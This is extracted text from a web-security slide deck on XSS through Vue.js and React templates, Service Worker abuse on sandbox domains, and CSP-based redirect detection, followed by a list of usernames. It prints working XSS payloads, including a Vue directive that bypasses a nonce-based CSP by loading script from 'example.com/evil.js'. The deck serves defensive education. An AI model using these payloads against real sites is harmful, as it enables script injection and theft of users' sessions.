we safe? Contents ‣ Goal: Learn and think the "Tangled World of Web Technology" from the viewpoint of security. ‣ Overview ‣ Tangled World ? ‣ Case Studies 1. JS Libraries 2. Service Worker and Sandbox Domains 3. Content Security Policy ‣ What can we do in the Tangled World ? 3
we safe? Rethink Classical Vulns 6 Classical vulnerabilities are threats even now, with new opportunities and patterns ! XSS CSRF SQLi With Service Worker With Script Gadgets With CSP
we safe? Example: Vue.js Declarative Rendering and v-html 9 <!-- from https://vuejs.org/v2/guide/ --> <div id="app"> {{ message }} </div> <div v-html="message"></div> <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> <script> var app = new Vue({ el: '#app', data: { message: 'You loaded this page on ' + new Date().toLocaleString() } }) </script> ‣ Declarative Rendering works without writing $(...) nor document.getElementId() :-) ‣ If you'd like to modify innerHTML directly, v-html works.
we safe? Example: Vue.js Directives 10 <!-- from https://vuejs.org/v2/guide/ --> <div id="app-3"> <span v-if="seen"> Now you see me </span> </div> <script> var app3 = new Vue({ el: '#app-3', data: { seen: true } }) </script> ‣ Vue.js gives you the power of v-* directives ! ‣ v-for, v-on, v-bind, ...
we safe? Rethink XSS 11 ‣ Classical XSS still exists even in 2018 :-( ‣ Efforts have been made by browsers: ‣ XSS Filter ‣ Content-Security-Policy ‣ What changes have been made by the new techniques? <!-- vulnerable PHP code snippet --> <?php echo $_GET['item']; ?> <!-- examples of classical payloads --> <img src=x onerror="alert(1)"> <script> alert(1) </script>
we safe? More Patterns XSS with JS libraries 12 <div id='app'> {{''.constructor.constructor('alert(1)')()}} </div> ‣ Just only some tags such as <script> and some attributes such as src should be suspicious? ‣ The answer is NO. ‣ Even a <div> can be a XSS payload :-(
we safe? More Sources XSS with JS libraries 13 <!-- from https://vuejs.org/v2/guide/ --> <script> var app3 = new Vue({ el: '#app-3', data: { seen: true } }) </script> <div id="app-3"> <span v-if="seen"> Now you see me </span> </div> ‣ Additional attributes or properties introduced by libraries supply more sources for DOM-Based XSS. ‣ e.g. v-* of Vue.js might be a source of eval or innerHTML.
we safe? Mustache Injection Examples of XSS with Vue.js 15 {{ ''.constructor.constructor("alert(1)")() }} {{this.$el.ownerDocument.defaultView.alert(1)}} ‣ Server side and client-side templating have different contexts. ‣ {{ }} won't be escaped by ordinary escape functions for HTML because it is not special in HTML. ‣ However, {{ }} has a meaning in Vue Template. ‣ Here you can see the difference of contexts :-)
we safe? Injection into Directives Examples of XSS with Vue.js 16 <img v-if="this.$el.ownerDocument.defaultView.alert(1)"> ‣ Directives (e.g. v-on, v-show, v-if, v-for, v-bind, ...) evaluate the given value :-( ‣ Vue markup in the HTML is a Vue template; it should be kept in mind that they might be eval()-ed. ‣ Content Security Policy without unsafe-eval will prohibit the use of such templates, but it needs us to use the render function or pre-compile templates into it.
we safe? Some of Payloads I Found :-) Examples of XSS with Vue.js 18 <!-- alert() in normal build --> <img v-if="1)+this.$el.ownerDocument.defaultView.alert(1)+(1"> <!-- nonce-based policy bypass in CSP build --> <img v-show="(document=this. $el.ownerDocument)&&(a=document.createElement('script')) &&(a.nonce=document.currentScript.nonce) &&(a.src='http://example.com/evil.js') &&(document.body.appendChild(a))"> <!-- alert() in both builds --> <img src=x @error="$event.target.ownerDocument.defaultView.alert(1)"> {{ ''.constructor.constructor("alert(1)")() }} {{this.$el.ownerDocument.defaultView.alert(1)}}
we safe? Arbitrary Props Injection Examples of XSS with React 19 <span {...props}></span> React.createElement("span", props); ‣ You should care about props injection. ‣ dangerouslySetInnerHTML controls innerHTML of the tag. { "dangerouslySetInnerHTML":{ "__html":"<img src=x onerror=alert(1) />" } }
we safe? Injection to Specific Props Examples of XSS with React 20 <a href={value}> link </a> <button type=submit formaction={value}> ‣ Classical XSS is often overlooked :-( javascript:alert(1) <div style={style}/> <!--style={ color: `${user_supplied}`}--> red;background:red; ‣ The following works with ReactDOMServer. ‣ react-dom/server often causes problem like: https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html#detailed-description
we safe? Script Gadgets ‣ Breaking XSS mitigations via Script Gadgets https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM- Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf ‣ Script Gadgets are defined as follows: "Script Gadgets is an existing JS code on the page that may be used to bypass mitigations." ‣ Here are PoCs for major JS libraries: https://github.com/google/security-research-pocs/tree/master/script-gadgets ‣ XSS in the era of *.js - JS ϥΠϒϥϦ࣌ͷ XSS (θ ϩ͔Β࢝ΊΔηΩϡϦςΟೖษڧձ #15) https://speakerdeck.com/lmt_swallow/xss-in-the-era-of-star-dot-js-js-raiburarishi-dai-false- xss-zerokarashi-merusekiyuriteiru-men-mian-qiang-hui-number-15 22
we safe? Writeups in the real world ‣ Imgur - XSS via React element spoofing https://hackerone.com/reports/124277 ‣ Six Security Vulnerabilities learned from a Year of HackerOne https://flexport.engineering/six-vulnerabilities-from-a-year-of-hackerone-808d8bfa0014 ‣ XSS in Google Colaboratory + CSP bypass https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html ‣ [mercantile.wordpress.org] Reflected XSS via AngularJS Template Injection https://hackerone.com/reports/230234 23
we safe? ServiceWorker " Service workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). " https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API 26 ‣ A replacement for Application Cache (AppCache) ‣ AppCache has some pitfalls :-( ‣ Use case ‣ Progressive Web Applications (PWA)
we safe? ServiceWorker: Scope ‣ Service Worker has a scope: ‣ if a scope is specified, it is the scope. ‣ if not, the parent directory of the JS is the scope. 27 // the scope is /path1 navigator.serviceWorker.register("/path1/sw.js"); // the scope is /path1 navigator.serviceWorker.register("/path1/sw.js", {scope: '/path1'}); // the scope is /path1/path2 navigator.serviceWorker.register("/path1/sw.js", {scope: '/path1/path2'}); // cannot be registered navigator.serviceWorker.register("/path1/sw.js", {scope: '/path3'});
we safe? Rethink XSS ‣ JS is registered by JS as Service Worker. ‣ ServiceWorker can control under the scope ‣ Requirements ‣ a XSS to register a Service Worker ‣ a JavaScript served with JS MIME type to be registered as a Service Worker ‣ The wider scope will give attacks with Service Worker more powerful 28
we safe? Content Takeover 29 Web Browser Service Worker GET /y0n3uchy/201808/11/uploadedfile Host: sandbox.example.com HTTP/1.1 200 OK ... <script>alert(1)</script> Network Request Response
we safe? Hidden Path/Content Leakage 30 Web Browser Service Worker (Works just as a proxy) Network GET /any/secret/path/like/tmpurl Host: sandbox.example.com SW can steal a secret path (& its content) silently :-)
we safe? JSONP ‣ A JSONP endpoint returns text/javascript :-) ‣ If an arbitrary JS code can be injected into the callback function name, it can be a SW. 31 // /path/jsonp_endpoint?callback=[SW CODE HERE] HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 ... [SW_CODE_HERE](...);
we safe? Uploaded Files Path 32 ‣ Requirements: ‣ Content-Type ‣ Wide scope ‣ All developers should care about the followings: ‣ Where to store user-provided files ‣ Bad: /arbitraryname.js ‣ Good: /username/someid/somethingrandom.js ‣ Content-Type (SW should be served with JS MIME types)
we safe? Uploaded Files Sandbox Domains ‣ Web Origins for high-risk contents should be isolated from the applications (e.g. user supplied files). ‣ Use "sandbox" domain for them. ‣ e.g. *.googleusercontent.com ‣ However, just sandboxing is not enough. ‣ Bad upload control may give powers XSS! X-( ‣ Be careful about the Content-Type & scope ! ‣ If SW can work in / ... ? 33
we safe? Further Reading ‣ ߈ܸऀࢹͰݟΔ Service Worker / PWA Study SW (awesome presentation by @masatokinugawa written in Japanese ) @masatokinugawa, https://speakerdeck.com/masatokinugawa/pwa-study-sw ‣ OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies @fransrosen, https://www.slideshare.net/fransrosen/attacking-modern-web-technologies ‣ Content hosting for the modern web @SecurityMB, https://security.googleblog.com/2012/08/content-hosting-for-modern- web.html 34
we safe? Content Security Policy 36 "Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks." ( https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP ) ‣ Roughly speaking, CSP describes the range of resources that a web page can load and execute . ‣ e.g. img-src, script-src, ...
we safe? Detect Cross-Origin Redirection With CSP 40 HTTP/1.1 200 OK Content-Security-Policy: script-src origin1.example; report-uri /report ... <script src="https://origin1.example"></script> HTTP/1.1 302 FOUND Location: https://origin2.example/ ... https://origin1.example https://tester.example HTTP/1.1 302 FOUND Location: https://b.example.com/test ... https://origin2.example A violation occurs when loading :-( A report will be sent. => tester.example can detect a Cross-origin redirection :-)
we safe? Rethink the System Design How does your web application work? 41 ‣ An occurrence of a cross-origin redirection might be observed by attackers. ‣ Here is an example: ‣ If the user is authenticated, return 302 to a different origin. ‣ If the user is not authenticated or not logged in, return 200 with authorization or login dialog. ‣ Umm, I'm afraid everyone knows such an architecture
we safe? Where do redirections occur? Example: OAuth 2.0 42 Authorization Server Client User Agent Authorize or deny Return redirect_uri Access with redirect_uri
we safe? Example: Facebook Login If you have never authenticated an app? 43 https://www.facebook.com/v3.1/dialog oauth? client_id={app-id} &redirect_uri={redirect-uri} ‣ HTTP/1.1 200 OK. ‣ No redirection occurs.
we safe? Example: Facebook Login If you have already authenticated an app and re-auth is enabled? 44 https://www.facebook.com/v3.1/dialog oauth? client_id={app-id} &redirect_uri={redirect-uri} ‣ If the app needs reauthentication? ‣ HTTP/1.1 200 OK. ‣ No redirection occurs.
we safe? Example: Facebook Login If you have already authenticated an app and re-auth is disabled? 45 https://www.facebook.com/v3.1/dialog oauth? client_id={app-id} &redirect_uri={redirect-uri} ‣ If the app does not need reauthentication? ‣ HTTP/1.1 302 FOUND. ‣ Here occurs a cross- origin redirection! ‣ to redirect_uri
we safe? Further Reading ‣ Detect the Same-Origin Redirection with a bug in Firefox's CSP Implementation @y0n3uchy, https://diary.shift-js.info/csp-fingerprinting/ ‣ Using Content-Security-Policy for Evil @homakov, http://homakov.blogspot.com/2014/01/using-content-security-policy-for- evil.html ‣ Content Security Policy Level 3 W3C, https://www.w3.org/TR/CSP3/ ‣ CSP: Content Security Policy - The History and the Future of CSP @y0n3uchy, https://shift-js.info/publications/201711-CSP.pdf 46
we safe? ALL WE CAN DO ‣ Follow the news and use it. ‣ e.g. Tweets of security (engineer|researcher)s. ‣ See who @y0n3uchy follows. :) ‣ Recommend: @intenttoship - browsrs ‣ Combine them with classical techniques. ‣ DO comprehensively and empirically. ‣ Share what you've found. ‣ An idea is often inspired by another; let us know your findings :) 48
lmt_swallow
deors
keisukeosone
chunkof
masakiokuda
meihei3
kworkdev
bgpat
techtekt
tenten0727
fukazawashun
jnymyk
noppefoxwolf
sachag
3n
sstephenson
yeseniaperezcruz
paigeccino
tammyeverts
tenderlove
hannesfritz
eileencodes
lauravandoore
garrettdimon
